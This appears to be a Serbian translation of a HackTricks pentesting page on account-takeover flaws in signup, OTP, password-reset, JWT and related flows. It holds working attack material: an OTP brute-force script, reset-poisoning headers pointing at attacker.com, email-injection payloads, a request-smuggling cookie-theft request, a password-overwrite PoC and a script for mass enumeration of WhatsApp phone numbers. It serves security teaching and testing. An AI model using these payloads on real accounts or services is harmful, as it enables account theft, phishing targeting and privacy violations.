Ranljivosti pri registraciji i preuzimanju naloga
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Preuzimanje naloga pri registraciji
Dupla registracija
- Pokušajte da napravite nalog koristeći postojeće korisničko ime
- Proverite varijacije email adrese:
- velika slova (uppercase)
- +1@
- dodajte tačku u email adresu
- specijalni karakteri u delu email adrese (%00, %09, %20)
- Stavite prazne karaktere posle email-a:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Pokušajte trikove canonicalizacije provajdera email-a (zavisno od servisa):
- Gmail ignoriše tačke i subadrese:
victim+1@gmail.com,v.ic.tim@gmail.comse isporučuju navictim@gmail.com - Neki provajderi nisu osetljivi na velika/mala slova u lokalnom delu adrese
- Neki provajderi prihvataju unicode confusables. Probajte homoglife i soft hyphen
\u00ADu lokalnom delu adrese - Zloupotrebite ovo da: zaobiđete provere jedinstvenosti, dobijete duplikat naloga/workspace pozivnice, ili blokirate registracije žrtve (privremeni DoS) dok pripremate preuzimanje naloga
Enumeracija korisničkih imena
Proverite da li možete utvrditi kada je korisničko ime već registrovano u aplikaciji.
- Različite poruke o grešci ili HTTP status kodovi
- Razlike u vremenu odgovora (postojeći korisnik može pokrenuti upit prema IdP/DB)
- Automatsko popunjavanje profila u registracionom formu za poznate email adrese
- Proverite tokove za tim/pozivnice: unos email-a može otkriti da li nalog postoji
Politika lozinki
Prilikom kreiranja korisnika proverite politiku lozinki (da li možete koristiti slabe lozinke). U tom slučaju možete pokušati brute-force napad na kredencijale.
SQL Injection
Pogledajte ovu stranicu da naučite kako pokušati preuzimanje naloga ili izvlačenje informacija putem SQL Injections u registracionim formama.
Oauth Takeovers
SAML Vulnerabilities
Promena email-a
Kada ste registrovani pokušajte da promenite email i proverite da li je ta promena ispravno validirana ili da li možete promeniti adresu u proizvoljnu.
Dodatne provere
- Proverite da li možete koristiti disposable emails (mailinator, yopmail, 1secmail, itd.) ili zaobići blocklistu subadresiranjem poput
victim+mailinator@gmail.com - Duga lozinka (>200) može dovesti do DoS
- Proverite rate limits pri kreiranju naloga
- Koristite username@burp_collab.net i analizirajte callback
- Ako se koristi verifikacija telefonskog broja, proverite rubne slučajeve parsiranja/injekcije telefonskih brojeva
Otkrivanje kontakata / orakli za enumeraciju identifikatora
Messenger-i fokusirani na telefonske brojeve otkrivaju presence oracle kad god klijent sinhronizuje kontakte. Reprodukovanje WhatsApp-ovih zahteva za otkrivanje istorijski je davalo >100M lookups per hour, omogućavajući skoro potpunu enumeraciju naloga.
Tok napada
- Instrumentujte zvanični klijent da uhvatite zahtev za upload adresara (autentifikovani blob normalizovanih E.164 brojeva). Reprodukujte ga sa brojevima koje generiše napadač dok ponovo koristite iste kolačiće/device token.
- Grupisanje brojeva po zahtevu: WhatsApp prihvata hiljade identifikatora i vraća registrovane/neregistrovane plus metadata (business, companion, itd.). Analizirajte odgovore offline da napravite liste ciljeva bez slanja poruka žrtvama.
- Horizontalno skalirajte enumeraciju koristeći SIM banke, cloud uređaje ili residential proxies tako da ograničenja po nalogu/IP/ASN nikad ne aktiviraju.
Modelovanje dialing-plana
Modelujte dialing-plan svake zemlje da preskočite nevažeće kandidate. NDSS dataset (country-table.*) navodi pozivne brojeve zemalja, gustinu adopcije i podelu platformi tako da možete prioritizovati opsege sa visokim brojem pogodaka. Primer seed-ovanja koda:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Pretvaranje enumeracija u ciljno usmerene napade
- Ubaci leaked telefonske brojeve (npr. Facebook’s 2021 breach) u oracle da saznaš koje su identitete još aktivne pre phishing, SIM-swapping, ili spamming.
- Razdeli popise po zemlji/OS/tipu aplikacije da pronađeš regione sa slabim SMS filtering-om ili velikom WhatsApp Business adopcijom za lokalizovanu social engineering.
Korelacija ponovne upotrebe javnih ključeva
WhatsApp exposes each account’s X25519 identity key during session setup. Zatraži identity material za svaki enumerated broj i dedupliciraj public keys da otkriješ account farms, cloned clients, ili insecure firmware — deljeni ključevi deanonymizuju multi-SIM operacije.
Slaba verifikacija Email/Phone (OTP/Magic Link)
Registracioni tokovi često verifikuju vlasništvo putem numeričkog OTP-a ili magic-link tokena. Tipične mane:
- Pogodljiv ili kratak OTP (4–6 digits) bez efektivnog rate limiting-a ili IP/device tracking-a. Probaj parallel guesses i header/IP rotation.
- OTP reuse preko akcija ili naloga, ili nije vezan za specifičnog korisnika/akciju (npr. isti kod radi za login i signup, ili radi nakon što je email promenjen).
- Multi-value smuggling: neki backendi prihvataju više kodova i verifikuju ako bilo koji odgovara. Probaj:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: razlikuj pogrešne vs istekle vs kodove pogrešnog korisnika po statusu/poruci/dužini body-ja.
- Tokeni se ne invalidiraju nakon uspeha ili nakon promene password-a/email-a.
- Verification token nije vezan za user agent/IP što dozvoljava cross-origin kompletiranje sa attacker-controlled stranica.
Bruteforcing primer sa ffuf protiv JSON OTP endpoint-a:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Paralelno/konkurentno pogađanje za zaobilaženje sekvencijalnih zaključavanja (koristite Turbo Intruder u Burp):
Turbo Intruder snippet za preplavljivanje pokušaja 6‑cifrenog OTP-a
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Pokušajte racing verification: podnesite isti važeći OTP istovremeno u dve sesije; ponekad jedna sesija postane verified attacker account dok victim flow takođe uspe.
- Takođe testirajte Host header poisoning na verification links (isto kao reset poisoning dole) da biste leak ili kompletirali verifikaciju na hostu pod kontrolom attacker-a.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
Moćna klasa problema nastaje kada attacker izvrši akcije na victim-ovom email-u pre nego što victim kreira nalog, a zatim kasnije povrati pristup.
Key techniques to test (adapt to the target’s flows):
- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Praktični saveti
- Harvest flows and endpoints iz web/mobile bundle-ova. Tražite classic signup, SSO linking, email/phone change i password reset endpoints.
- Napravite realističnu automatizaciju da održavate sesije aktivnim dok testirate druge tokove.
- Za SSO testove, podignite test OIDC provider i izdajite tokene sa `email` claim-ovima za adresu žrtve i `email_verified=false` da proverite da li RP veruje unverified IdP-ovima.
- Nakon bilo kog password reset-a ili email change-a, verifikujte da su:
- svi ostali sessions i tokens nevažeći,
- pending email/phone change mogućnosti otkazane,
- prethodno povezani IdP-ovi/email-ovi/telefoni ponovo verifikovani.
Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR na API parametrima
- Napadač mora da se uloguje sa svojim nalogom i ode na Change password funkcionalnost.
- Pokrenite Burp Suite i Intercept zahtev
- Pošaljite ga na repeater tab i izmenite parametre : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Slabi token za reset lozinke
Token za reset lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da utvrdite da li token ističe ili je uvek isti — u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće varijable bi mogle biti korišćene u algoritmu.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Otkrivanje tokena za reset lozinke
- Pokrenite zahtev za reset lozinke putem API/UI za konkretnu email adresu npr: test@mail.com
- Pregledajte odgovor servera i proverite za
resetToken - Zatim upotrebite token u URL-u kao
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Reset lozinke putem kolizije korisničkog imena
- Registrujte se na sistem sa korisničkim imenom identičnim žrtvinom, ali sa belim razmacima umetnutim pre i/ili posle korisničkog imena. npr:
"admin " - Zatražite reset lozinke koristeći vaš zlonamerni username.
- Iskoristite token poslat na vaš email i resetujte žrtvinu lozinku.
- Prijavite se na žrtvin nalog sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.
See: CVE-2020-7245
Preuzimanje naloga putem Cross Site Scripting
- Pronađite XSS u aplikaciji ili na poddomeni ako su cookies scoped na parent domain :
*.domain.com - Leak the current sessions cookie
- Autentifikujte se kao korisnik koristeći cookie
Preuzimanje naloga putem HTTP Request Smuggling
- Upotrebite smuggler da detektujete tip HTTP Request Smuggling-a (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Sastavite zahtev koji će prepisati
POST / HTTP/1.1sa sledećim podacima:GET http://something.burpcollaborator.net HTTP/1.1 X:sa ciljem da izvršite open redirect žrtava na burpcollab i ukradete njihove cookie-je\ - Konačan zahtev može izgledati ovako
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone izveštaji o iskorišćavanju ovog buga\
Preuzimanje naloga putem CSRF
- Napravite payload za CSRF, npr: “HTML obrazac sa automatskim slanjem za promenu lozinke”
- Pošaljite payload
Preuzimanje naloga putem JWT
JSON Web Token može biti korišćen za autentifikaciju korisnika.
- Izmenite JWT sa drugim User ID / Email
- Proverite da li je JWT potpis slab
JWT Vulnerabilities (Json Web Tokens)
Registracija kao reset (Upsert on Existing Email)
Neki signup handleri izvrše upsert kada dati email već postoji. Ako endpoint prihvata minimalno telo sa email-om i lozinkom i ne zahteva verifikaciju vlasništva, slanjem email-a žrtve biće pre-auth prebrisana njihova lozinka.
- Otkrivanje: prikupite imena endpointa iz bundled JS (ili mobilnog saobraćaja aplikacije), zatim fuzz-ujte bazne putanje kao /parents/application/v4/admin/FUZZ koristeći ffuf/dirsearch.
- Naznake metode: GET koji vraća poruke kao “Only POST request is allowed.” često ukazuje na ispravan HTTP metod i da se očekuje JSON body.
- Minimalno telo primećeno u praksi:
{"email":"victim@example.com","password":"New@12345"}
Primer PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Uticaj: Full Account Takeover (ATO) without any reset token, OTP, or email verification.
Reference
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


